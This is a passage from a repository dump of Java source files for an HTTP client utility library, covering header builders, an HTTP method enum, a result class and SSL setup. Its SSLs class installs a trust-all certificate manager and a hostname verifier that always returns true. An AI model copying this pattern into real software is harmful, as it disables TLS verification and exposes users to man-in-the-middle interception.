{\n\t\theaderMaps.put(HttpReqHead.AUTHORIZATION,\n\t\t\t\tnew BasicHeader(HttpReqHead.AUTHORIZATION, authorization));\n\t\treturn this;\n\t}\n\n\t/**\n\t * 指定请求和响应遵循的缓存机制\n\t * 例如：Cache-Control: no-cache\n\t * \n\t * @param cacheControl cache-control\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader cacheControl(String cacheControl) {\n\t\theaderMaps.put(HttpReqHead.CACHE_CONTROL,\n\t\t\t\tnew BasicHeader(HttpReqHead.CACHE_CONTROL, cacheControl));\n\t\treturn this;\n\t}\n\n\t/**\n\t * 表示是否需要持久连接（HTTP 1.1默认进行持久连接）\n\t * 例如：Connection: close 短链接； Connection: keep-alive 长连接\n\t * \n\t * @param connection connection\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader connection(String connection) {\n\t\theaderMaps.put(HttpReqHead.CONNECTION,\n\t\t\t\tnew BasicHeader(HttpReqHead.CONNECTION, connection));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * HTTP请求发送时，会把保存在该请求域名下的所有cookie值一起发送给web服务器\n\t * 例如：Cookie: $Version=1; Skin=new;\n\t * \n\t * @param cookie cookie\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader cookie(String cookie) {\n\t\theaderMaps.put(HttpReqHead.COOKIE,\n\t\t\t\tnew BasicHeader(HttpReqHead.COOKIE, cookie));\n\t\treturn this;\n\t}\n\n\t/**\n\t * 请求内容长度\n\t * 例如：Content-Length: 348\n\t * \n\t * @param contentLength content-length\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader contentLength(String contentLength) {\n\t\theaderMaps.put(HttpReqHead.CONTENT_LENGTH,\n\t\t\t\tnew BasicHeader(HttpReqHead.CONTENT_LENGTH, contentLength));\n\t\treturn this;\n\t}\n\n\t/**\n\t * 请求的与实体对应的MIME信息\n\t * 例如：Content-Type: application/x-www-form-urlencoded\n\t * \n\t * @param contentType content-type\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader contentType(String contentType) {\n\t\theaderMaps.put(HttpReqHead.CONTENT_TYPE,\n\t\t\t\tnew BasicHeader(HttpReqHead.CONTENT_TYPE, contentType));\n\t\treturn this;\n\t}\n\n\t/**\n\t * 请求发送的日期和时间\n\t * 例如：Date: Tue, 15 Nov 2010 08:12:31 GMT\n\t * \n\t * @param date\tdate\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader date(String date) {\n\t\theaderMaps.put(HttpReqHead.DATE,\n\t\t\t\tnew BasicHeader(HttpReqHead.DATE, date));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 请求的特定的服务器行为\n\t * 例如：Expect: 100-continue\n\t * \n\t * @param expect expect\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader expect(String expect) {\n\t\theaderMaps.put(HttpReqHead.EXPECT,\n\t\t\t\tnew BasicHeader(HttpReqHead.EXPECT, expect));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 发出请求的用户的Email\n\t * 例如：From: user@email.com\n\t * \n\t * @param from from\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader from(String from) {\n\t\theaderMaps.put(HttpReqHead.FROM,\n\t\t\t\tnew BasicHeader(HttpReqHead.FROM, from));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 指定请求的服务器的域名和端口号\n\t * 例如：Host: blog.csdn.net\n\t * \n\t * @param host host\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader host(String host) {\n\t\theaderMaps.put(HttpReqHead.HOST,\n\t\t\t\tnew BasicHeader(HttpReqHead.HOST, host));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 只有请求内容与实体相匹配才有效\n\t * 例如：If-Match: “737060cd8c284d8af7ad3082f209582d”\n\t * \n\t * @param ifMatch if-match\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader ifMatch(String ifMatch) {\n\t\theaderMaps.put(HttpReqHead.IF_MATCH,\n\t\t\t\tnew BasicHeader(HttpReqHead.IF_MATCH, ifMatch));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 如果请求的部分在指定时间之后被修改则请求成功，未被修改则返回304代码\n\t * 例如：If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT\n\t * \n\t * @param ifModifiedSince if-modified-Since\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader ifModifiedSince(String ifModifiedSince) {\n\t\theaderMaps.put(HttpReqHead.IF_MODIFIED_SINCE,\n\t\t\t\tnew BasicHeader(HttpReqHead.IF_MODIFIED_SINCE, ifModifiedSince));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 如果内容未改变返回304代码，参数为服务器先前发送的Etag，与服务器回应的Etag比较判断是否改变\n\t * 例如：If-None-Match: “737060cd8c284d8af7ad3082f209582d”\n\t * \n\t * @param ifNoneMatch if-none-match\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader ifNoneMatch(String ifNoneMatch) {\n\t\theaderMaps.put(HttpReqHead.IF_NONE_MATCH,\n\t\t\t\tnew BasicHeader(HttpReqHead.IF_NONE_MATCH, ifNoneMatch));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 如果实体未改变，服务器发送客户端丢失的部分，否则发送整个实体。参数也为Etag\n\t * 例如：If-Range: “737060cd8c284d8af7ad3082f209582d”\n\t * \n\t * @param ifRange if-range\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader ifRange(String ifRange) {\n\t\theaderMaps.put(HttpReqHead.IF_RANGE,\n\t\t\t\tnew BasicHeader(HttpReqHead.IF_RANGE, ifRange));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 只在实体在指定时间之后未被修改才请求成功\n\t * 例如：If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT\n\t * \n\t * @param ifUnmodifiedSince if-unmodified-since\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader ifUnmodifiedSince(String ifUnmodifiedSince) {\n\t\theaderMaps.put(HttpReqHead.IF_UNMODIFIED_SINCE,\n\t\t\t\tnew BasicHeader(HttpReqHead.IF_UNMODIFIED_SINCE, ifUnmodifiedSince));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 限制信息通过代理和网关传送的时间\n\t * 例如：Max-Forwards: 10\n\t * \n\t * @param maxForwards max-forwards\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader maxForwards(String maxForwards) {\n\t\theaderMaps.put(HttpReqHead.MAX_FORWARDS,\n\t\t\t\tnew BasicHeader(HttpReqHead.MAX_FORWARDS, maxForwards));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 用来包含实现特定的指令\n\t * 例如：Pragma: no-cache\n\t * \n\t * @param pragma pragma\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader pragma(String pragma) {\n\t\theaderMaps.put(HttpReqHead.PRAGMA,\n\t\t\t\tnew BasicHeader(HttpReqHead.PRAGMA, pragma));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 连接到代理的授权证书\n\t * 例如：Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\n\t * \n\t * @param proxyAuthorization proxy-authorization\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader proxyAuthorization(String proxyAuthorization) {\n\t\theaderMaps.put(HttpReqHead.PROXY_AUTHORIZATION,\n\t\t\t\tnew BasicHeader(HttpReqHead.PROXY_AUTHORIZATION, proxyAuthorization));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 只请求实体的一部分，指定范围\n\t * 例如：Range: bytes=500-999\n\t * \n\t * @param range range\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader range(String range) {\n\t\theaderMaps.put(HttpReqHead.RANGE,\n\t\t\t\tnew BasicHeader(HttpReqHead.RANGE, range));\n\t\treturn this;\n\t}\n\n\t/**\n\t * 先前网页的地址，当前请求网页紧随其后,即来路\n\t * 例如：Referer: http://www.zcmhi.com/archives/71.html\n\t * \n\t * @param referer referer\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader referer(String referer) {\n\t\theaderMaps.put(HttpReqHead.REFERER,\n\t\t\t\tnew BasicHeader(HttpReqHead.REFERER, referer));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 客户端愿意接受的传输编码，并通知服务器接受接受尾加头信息\n\t * 例如：TE: trailers,deflate;q=0.5\n\t * \n\t * @param te te\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader te(String te) {\n\t\theaderMaps.put(HttpReqHead.TE,\n\t\t\t\tnew BasicHeader(HttpReqHead.TE, te));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 向服务器指定某种传输协议以便服务器进行转换（如果支持）\n\t * 例如：Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11\n\t * \n\t * @param upgrade upgrade\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader upgrade(String upgrade) {\n\t\theaderMaps.put(HttpReqHead.UPGRADE,\n\t\t\t\tnew BasicHeader(HttpReqHead.UPGRADE, upgrade));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * User-Agent的内容包含发出请求的用户信息\n\t * \n\t * @param userAgent user-agent\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader userAgent(String userAgent) {\n\t\theaderMaps.put(HttpReqHead.USER_AGENT,\n\t\t\t\tnew BasicHeader(HttpReqHead.USER_AGENT, userAgent));\n\t\treturn this;\n\t}\n\n\t/**\n\t * 关于消息实体的警告信息\n\t * 例如：Warn: 199 Miscellaneous warning\n\t * \n\t * @param warning warning\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader warning(String warning) {\n\t\theaderMaps.put(HttpReqHead.WARNING,\n\t\t\t\tnew BasicHeader(HttpReqHead.WARNING, warning));\n\t\treturn this;\n\t}\n\t\n\t/**\n\t * 通知中间网关或代理服务器地址，通信协议\n\t * 例如：Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)\n\t * \n\t * @param via via\n\t * @return 返回当前对象\n\t */\n\tpublic HttpHeader via(String via) {\n\t\theaderMaps.put(HttpReqHead.VIA,\n\t\t\t\tnew BasicHeader(HttpReqHead.VIA, via));\n\t\treturn this;\n\t}\n\n\t/**\n\t * 设置此HTTP连接的持续时间（超时时间）\n\t * 例如：Keep-Alive: 300\n\t * \n\t * @param keepAlive keep-alive\n\t * @return 返回当前对象\n\n\t */\n\tpublic HttpHeader keepAlive(String keepAlive) {\n\t\theaderMaps.put(HttpReqHead.KEEP_ALIVE,\n\t\t\t\tnew BasicHeader(HttpReqHead.KEEP_ALIVE, keepAlive));\n\t\treturn this;\n\t}\n\n\tpublic String accept() {\n\t\treturn get(HttpReqHead.ACCEPT);\n\t}\n\n\tpublic String acceptCharset() {\n\t\treturn get(HttpReqHead.ACCEPT_CHARSET);\n\t}\n\n\tpublic String acceptEncoding() {\n\t\treturn get(HttpReqHead.ACCEPT_ENCODING);\n\t}\n\n\tpublic String acceptLanguage() {\n\t\treturn get(HttpReqHead.ACCEPT_LANGUAGE);\n\t}\n\n\tpublic String acceptRanges() {\n\t\treturn get(HttpReqHead.ACCEPT_RANGES);\n\t}\n\n\tpublic String authorization() {\n\t\treturn get(HttpReqHead.AUTHORIZATION);\n\t}\n\n\tpublic String cacheControl() {\n\t\treturn get(HttpReqHead.CACHE_CONTROL);\n\t}\n\n\tpublic String connection() {\n\t\treturn get(HttpReqHead.CONNECTION);\n\t}\n\t\n\tpublic String cookie() {\n\t\treturn get(HttpReqHead.COOKIE);\n\t}\n\n\tpublic String contentLength() {\n\t\treturn get(HttpReqHead.CONTENT_LENGTH);\n\t}\n\n\tpublic String contentType() {\n\t\treturn get(HttpReqHead.CONTENT_TYPE);\n\t}\n\t\n\tpublic String date() {\n\t\treturn get(HttpReqHead.DATE);\n\t}\n\n\tpublic String expect() {\n\t\treturn get(HttpReqHead.EXPECT);\n\t}\n\n\tpublic String from() {\n\t\treturn get(HttpReqHead.FROM);\n\t}\n\t\n\tpublic String host() {\n\t\treturn get(HttpReqHead.HOST);\n\t}\n\t\n\tpublic String ifMatch() {\n\t\treturn get(HttpReqHead.IF_MATCH);\n\t}\n\t\n\tpublic String ifModifiedSince() {\n\t\treturn get(HttpReqHead.IF_MODIFIED_SINCE);\n\t}\n\t\n\tpublic String ifNoneMatch() {\n\t\treturn get(HttpReqHead.IF_NONE_MATCH);\n\t}\n\t\n\tpublic String ifRange() {\n\t\treturn get(HttpReqHead.IF_RANGE);\n\t}\n\t\n\tpublic String ifUnmodifiedSince() {\n\t\treturn get(HttpReqHead.IF_UNMODIFIED_SINCE);\n\t}\n\t\n\tpublic String maxForwards() {\n\t\treturn get(HttpReqHead.MAX_FORWARDS);\n\t}\n\t\n\tpublic String pragma() {\n\t\treturn get(HttpReqHead.PRAGMA);\n\t}\n\n\tpublic String proxyAuthorization() {\n\t\treturn get(HttpReqHead.PROXY_AUTHORIZATION);\n\t}\n\n\tpublic String referer() {\n\t\treturn get(HttpReqHead.REFERER);\n\t}\n\t\n\tpublic String te() {\n\t\treturn get(HttpReqHead.TE);\n\t}\n\t\n\tpublic String upgrade() {\n\t\treturn get(HttpReqHead.UPGRADE);\n\t}\n\t\n\tpublic String userAgent() {\n\t\treturn get(HttpReqHead.USER_AGENT);\n\t}\n\t\n\tpublic String via() {\n\t\treturn get(HttpReqHead.VIA);\n\t}\n\t\n\tpublic String warning() {\n\t\treturn get(HttpReqHead.WARNING);\n\t}\n\n\tpublic String keepAlive() {\n\t\treturn get(HttpReqHead.KEEP_ALIVE);\n\t}\n\t\n\t\n\t/**\n\t * 获取head信息\n\t * \n\t * @return\n\t */\n\tprivate String get(String headName) {\n\t\tif (headerMaps.containsKey(headName)) {\n\t\t\treturn headerMaps.get(headName).getValue();\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 返回header头信息\n\t * \n\t * @return\t返回构建的header头信息数组\n\t */\n\tpublic Header[] build() {\n\t\tHeader[] headers = new Header[headerMaps.size()];\n\t\tint i = 0;\n\t\tfor (Header header : headerMaps.values()) {\n\t\t\theaders[i] = header;\n\t\t\ti++;\n\t\t}\n\t\theaderMaps.clear();\n\t\theaderMaps = null;\n\t\treturn headers;\n\t}\n\n\t/**\n\t * Http头信息\n\t * \n\t * @author arron\n\t * @date 2015年11月9日 上午11:29:04\n\t * @version 1.0\n\t */\n\tprivate static class HttpReqHead {\n\t\tpublic static final String ACCEPT = \"Accept\";\n\t\tpublic static final String ACCEPT_CHARSET = \"Accept-Charset\";\n\t\tpublic static final String ACCEPT_ENCODING = \"Accept-Encoding\";\n\t\tpublic static final String ACCEPT_LANGUAGE = \"Accept-Language\";\n\t\tpublic static final String ACCEPT_RANGES = \"Accept-Ranges\";\n\t\tpublic static final String AUTHORIZATION = \"Authorization\";\n\t\tpublic static final String CACHE_CONTROL = \"Cache-Control\";\n\t\tpublic static final String CONNECTION = \"Connection\";\n\t\tpublic static final String COOKIE = \"Cookie\";\n\t\tpublic static final String CONTENT_LENGTH = \"Content-Length\";\n\t\tpublic static final String CONTENT_TYPE = \"Content-Type\";\n\t\tpublic static final String DATE= \"Date\";\n\t\tpublic static final String EXPECT = \"Expect\";\n\t\tpublic static final String FROM = \"From\";\n\t\tpublic static final String HOST = \"Host\";\n\t\tpublic static final String IF_MATCH = \"If-Match \";\n\t\tpublic static final String IF_MODIFIED_SINCE = \"If-Modified-Since\";\n\t\tpublic static final String IF_NONE_MATCH = \"If-None-Match\";\n\t\tpublic static final String IF_RANGE = \"If-Range\";\n\t\tpublic static final String IF_UNMODIFIED_SINCE = \"If-Unmodified-Since\";\n\t\tpublic static final String KEEP_ALIVE = \"Keep-Alive\";\n\t\tpublic static final String MAX_FORWARDS = \"Max-Forwards\";\n\t\tpublic static final String PRAGMA = \"Pragma\";\n\t\tpublic static final String PROXY_AUTHORIZATION = \"Proxy-Authorization\";\n\t\tpublic static final String RANGE = \"Range\";\n\t\tpublic static final String REFERER = \"Referer\";\n\t\tpublic static final String TE = \"TE\";\n\t\tpublic static final String UPGRADE = \"Upgrade\";\n\t\tpublic static final String USER_AGENT = \"User-Agent\";\n\t\tpublic static final String VIA = \"Via\";\n\t\tpublic static final String WARNING = \"Warning\";\n\t}\n\t\n\t/**\n\t * 常用头信息配置\n\t * \n\t * @author arron\n\t * @version 1.0\n\t */\n\tpublic static class Headers{\n\t\tpublic static final String APP_FORM_URLENCODED=\"application/x-www-form-urlencoded\";\n\t\tpublic static final String TEXT_PLAIN=\"text/plain\";\n\t\tpublic static final String TEXT_HTML=\"text/html\";\n\t\tpublic static final String TEXT_XML=\"text/xml\";\n\t\tpublic static final String TEXT_JSON=\"text/json\";\n\t\tpublic static final String CONTENT_CHARSET_ISO_8859_1 = Consts.ISO_8859_1.name();\n\t\tpublic static final String CONTENT_CHARSET_UTF8 = Consts.UTF_8.name();\n\t\tpublic static final String DEF_PROTOCOL_CHARSET = Consts.ASCII.name();\n\t\tpublic static final String CONN_CLOSE = \"close\";\n\t\tpublic static final String KEEP_ALIVE = \"keep-alive\";\n\t\tpublic static final String EXPECT_CONTINUE = \"100-continue\";\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/common/HttpMethods.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.common;\n\t\n\t/**\n\t * 枚举HttpMethods方法\n\t * \n\t * @author arron\n\t * @version 1.0\n\t */\n\tpublic enum HttpMethods{\n\t\t\n\t\t/**\n\t\t * 求获取Request-URI所标识的资源\n\t\t */\n\t\tGET(0, \"GET\"), \n\t\t\n\t\t/**\n\t\t * 向指定资源提交数据进行处理请求（例如提交表单或者上传文件）。数据被包含在请求体中。\n\t\t * POST请求可能会导致新的资源的建立和/或已有资源的修改\n\t\t */\n\t\tPOST(1, \"POST\"),\n\t\t\n\t\t/**\n\t\t * 向服务器索要与GET请求相一致的响应，只不过响应体将不会被返回。\n\t\t * 这一方法可以在不必传输整个响应内容的情况下，就可以获取包含在响应消息头中的元信息\n\t\t * 只获取响应信息报头\n\t\t */\n\t\tHEAD(2, \"HEAD\"),\n\t\t\n\t\t/**\n\t\t * 向指定资源位置上传其最新内容（全部更新，操作幂等）\n\t\t */\n\t\tPUT\t(3, \"PUT\"), \n\t\t\n\t\t/**\n\t\t * 请求服务器删除Request-URI所标识的资源\n\t\t */\n\t\tDELETE\t(4, \"DELETE\"), \n\t\t\n\t\t/**\n\t\t * 请求服务器回送收到的请求信息，主要用于测试或诊断\n\t\t */\n\t\tTRACE(5, \"TRACE\"), \n\t\t\n\t\t/**\n\t\t * 向指定资源位置上传其最新内容（部分更新，非幂等）\n\t\t */\n\t\tPATCH\t(6, \"PATCH\"),\n\t\t\n\t\t/**\n\t\t * 返回服务器针对特定资源所支持的HTTP请求方法。\n\t\t * 也可以利用向Web服务器发送'*'的请求来测试服务器的功能性\n\t\t */\n\t\tOPTIONS\t(7, \"OPTIONS\"), \n\t\t\n//\t\t/**\n//\t\t * HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器\n//\t\t */\n//\t\tCONNECT(99, \"CONNECT\"),\n\t\t;\n\t\t\n\t\tprivate int code;\n\t\tprivate String name;\n\t\t\n\t\tprivate HttpMethods(int code, String name){\n\t\t\tthis.code = code;\n\t\t\tthis.name = name;\n\t\t}\n\t\tpublic String getName() {\n\t\t\treturn name;\n\t\t}\n\t\tpublic int getCode() {\n\t\t\treturn code;\n\t\t}\n\t}"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/common/HttpResult.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.common;\n\nimport java.io.Serializable;\n\nimport org.apache.http.Header;\nimport org.apache.http.HttpResponse;\nimport org.apache.http.ProtocolVersion;\nimport org.apache.http.StatusLine;\n\n/**\n * 请求结果\n * \n * @author arron\n * @version 1.1\n */\npublic class HttpResult implements Serializable{\n\tprivate static final long serialVersionUID = -6368281080581808792L;\n\t\n\t/**\n\t * 执行结果-body\n\t */\n\tprivate String result;\n\t\n\t/**\n\t * 状态码-statusCode\n\t */\n\tprivate int statusCode;\n\t\n\t/**\n\t * 状态行-StatusLine\n\t */\n    private StatusLine statusLine;\n    \n    /**\n     * 请求头信息\n     */\n    private Header[] reqHeaders;\n    \n    /**\n     * 响应头信息\n     */\n    private Header[] respHeaders;\n    \n    /**\n     * 协议版本\n     */\n    private ProtocolVersion protocolVersion;\n    \n    /**\n     * HttpResponse结果对象\n     */\n    private HttpResponse resp;\n\n\tpublic HttpResult(HttpResponse resp) {\n\t\tthis.statusLine = resp.getStatusLine();\n\t\tthis.respHeaders = resp.getAllHeaders();\n\t\tthis.protocolVersion = resp.getProtocolVersion();\n\t\tthis.statusCode = resp.getStatusLine().getStatusCode();\n\t\tthis.resp = resp;\n\t}\n\t\n\t/**\n\t * 从返回的头信息中查询指定头信息\n\t * \n\t * @param name\t头信息名称\n\t * @return\n\t */\n    public Header getHeaders(final String name) {\n    \tHeader[] headers = this.resp.getHeaders(name);\n        return headers!=null && headers.length>0?headers[0]:null;\n    }\n\n\tpublic String getResult() {\n\t\treturn result;\n\t}\n\n\tpublic void setResult(String result) {\n\t\tthis.result = result;\n\t}\n\n\tpublic int getStatusCode() {\n\t\treturn statusCode;\n\t}\n\n\tpublic void setStatusCode(int statusCode) {\n\t\tthis.statusCode = statusCode;\n\t}\n\n\tpublic StatusLine getStatusLine() {\n\t\treturn statusLine;\n\t}\n\n\tpublic void setStatusLine(StatusLine statusLine) {\n\t\tthis.statusLine = statusLine;\n\t}\n\n\tpublic Header[] getReqHeaders() {\n\t\treturn reqHeaders;\n\t}\n\n\tpublic void setReqHeaders(Header[] reqHeaders) {\n\t\tthis.reqHeaders = reqHeaders;\n\t}\n\n\tpublic Header[] getRespHeaders() {\n\t\treturn respHeaders;\n\t}\n\n\tpublic void setRespHeaders(Header[] respHeaders) {\n\t\tthis.respHeaders = respHeaders;\n\t}\n\n\tpublic ProtocolVersion getProtocolVersion() {\n\t\treturn protocolVersion;\n\t}\n\n\tpublic void setProtocolVersion(ProtocolVersion protocolVersion) {\n\t\tthis.protocolVersion = protocolVersion;\n\t}\n\n\tpublic HttpResponse getResp() {\n\t\treturn resp;\n\t}\n\n\tpublic void setResp(HttpResponse resp) {\n\t\tthis.resp = resp;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/common/SSLs.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.common;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.security.KeyManagementException;\nimport java.security.KeyStore;\nimport java.security.KeyStoreException;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.cert.CertificateException;\n\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.SSLContext;\nimport javax.net.ssl.SSLSession;\nimport javax.net.ssl.SSLSocketFactory;\nimport javax.net.ssl.TrustManager;\nimport javax.net.ssl.X509TrustManager;\n\nimport org.apache.http.conn.ssl.SSLConnectionSocketFactory;\nimport org.apache.http.conn.ssl.TrustSelfSignedStrategy;\nimport org.apache.http.nio.conn.ssl.SSLIOSessionStrategy;\nimport org.apache.http.ssl.SSLContexts;\n\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/**\n * 设置ssl\n * \n * @author arron\n * @version 1.0\n */\npublic class SSLs {\n\n    private static final SSLHandler simpleVerifier = new SSLHandler();\n\tprivate static SSLSocketFactory sslFactory ;\n\tprivate static SSLConnectionSocketFactory sslConnFactory ;\n\tprivate static SSLIOSessionStrategy sslIOSessionStrategy ;\n\tprivate static SSLs sslutil = new SSLs();\n\tprivate SSLContext sc;\n\t\n\tpublic static SSLs getInstance(){\n\t\treturn sslutil;\n\t}\n\tpublic static SSLs custom(){\n\t\treturn new SSLs();\n\t}\n\n    // 重写X509TrustManager类的三个方法,信任服务器证书\n    private static class SSLHandler implements  X509TrustManager, HostnameVerifier{\n\t\t\n\t\t@Override\n\t\tpublic java.security.cert.X509Certificate[] getAcceptedIssuers() {\n\t\t\treturn new java.security.cert.X509Certificate[]{};\n\t\t\t//return null;\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic void checkServerTrusted(java.security.cert.X509Certificate[] chain,\n\t\t\t\tString authType) throws java.security.cert.CertificateException {\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic void checkClientTrusted(java.security.cert.X509Certificate[] chain,\n\t\t\t\tString authType) throws java.security.cert.CertificateException {\n\t\t}\n\n\t\t@Override\n\t\tpublic boolean verify(String paramString, SSLSession paramSSLSession) {\n\t\t\treturn true;\n\t\t}\n\t};\n    \n\t// 信任主机\n    public static HostnameVerifier getVerifier() {\n        return simpleVerifier;\n    }\n    \n    public synchronized SSLSocketFactory getSSLSF(SSLProtocolVersion sslpv) throws HttpProcessException {\n        if (sslFactory != null)\n            return sslFactory;\n\t\ttry {\n\t\t\tSSLContext sc = getSSLContext(sslpv);\n\t\t\tsc.init(null, new TrustManager[] { simpleVerifier }, null);\n\t\t\tsslFactory = sc.getSocketFactory();\n\t\t} catch (KeyManagementException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t}\n        return sslFactory;\n    }\n    \n    public synchronized SSLConnectionSocketFactory getSSLCONNSF(SSLProtocolVersion sslpv) throws HttpProcessException {\n    \tif (sslConnFactory != null)\n    \t\treturn sslConnFactory;\n    \ttry {\n\t    \tSSLContext sc = getSSLContext(sslpv);\n//\t    \tsc.init(null, new TrustManager[] { simpleVerifier }, null);\n\t    \tsc.init(null, new TrustManager[] { simpleVerifier }, new java.security.SecureRandom());\n\t    \tsslConnFactory = new SSLConnectionSocketFactory(sc, simpleVerifier);\n\t\t} catch (KeyManagementException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t}\n    \treturn sslConnFactory;\n    }\n    \n    public synchronized SSLIOSessionStrategy getSSLIOSS(SSLProtocolVersion sslpv) throws HttpProcessException {\n    \tif (sslIOSessionStrategy != null)\n    \t\treturn sslIOSessionStrategy;\n\t\ttry {\n\t\t\tSSLContext sc = getSSLContext(sslpv);\n//\t\t\tsc.init(null, new TrustManager[] { simpleVerifier }, null);\n\t    \tsc.init(null, new TrustManager[] { simpleVerifier }, new java.security.SecureRandom());\n\t\t\tsslIOSessionStrategy = new SSLIOSessionStrategy(sc, simpleVerifier);\n\t\t} catch (KeyManagementException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t}\n    \treturn sslIOSessionStrategy;\n    }\n    \n    public SSLs customSSL(String keyStorePath, String keyStorepass) throws HttpProcessException{\n    \tFileInputStream instream =null;\n    \tKeyStore trustStore = null; \n\t\ttry {\n\t\t\ttrustStore = KeyStore.getInstance(KeyStore.getDefaultType());\n\t\t\tinstream = new FileInputStream(new File(keyStorePath));\n\t\t\ttrustStore.load(instream, keyStorepass.toCharArray());\n\t\t\t// 相信自己的CA和所有自签名的证书\n\t\t\tsc= SSLContexts.custom().loadTrustMaterial(trustStore, new TrustSelfSignedStrategy()) .build();\n\t\t} catch (KeyManagementException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t} catch (KeyStoreException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t} catch (FileNotFoundException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t} catch (NoSuchAlgorithmException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t} catch (CertificateException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t} catch (IOException e) {\n\t\t\tthrow new HttpProcessException(e);\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tinstream.close();\n\t\t\t} catch (IOException e) {}\n\t\t}\n\t\treturn this;\n    }\n    \n    public SSLContext getSSLContext(SSLProtocolVersion sslpv) throws HttpProcessException{\n    \ttry {\n    \t\tif(sc==null){\n    \t\t\tsc = SSLContext.getInstance(sslpv.getName());\n    \t\t}\n    \t\treturn sc;\n    \t} catch (NoSuchAlgorithmException e) {\n    \t\tthrow new HttpProcessException(e);\n    \t}\n    }\n    \n    /**\n     * The SSL protocol version (SSLv3, TLSv1, TLSv1.1, TLSv1.2)\n     * \n     * @author arron\n     * @version 1.0\n     */\n    public static enum SSLProtocolVersion{\n    \tSSL(\"SSL\"),\n    \tSSLv3(\"SSLv3\"),\n    \tTLSv1(\"TLSv1\"),\n    \tTLSv1_1(\"TLSv1.1\"),\n    \tTLSv1_2(\"TLSv1.2\"),\n    \t;\n    \tprivate String name;\n    \tprivate SSLProtocolVersion(String name){\n    \t\tthis.name = name;\n    \t}\n    \tpublic String getName(){\n    \t\treturn this.name;\n    \t}\n    \tpublic static SSLProtocolVersion find(String name){\n    \t\tfor (SSLProtocolVersion pv : SSLProtocolVersion.values()) {\n\t\t\t\tif(pv.getName().toUpperCase().equals(name.toUpperCase())){\n\t\t\t\t\treturn pv;\n\t\t\t\t}\n\t\t\t}\n    \t\tthrow new RuntimeException(\"未支持当前ssl版本号：\"+name);\n    \t}\n    \t\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/common/Utils.java",
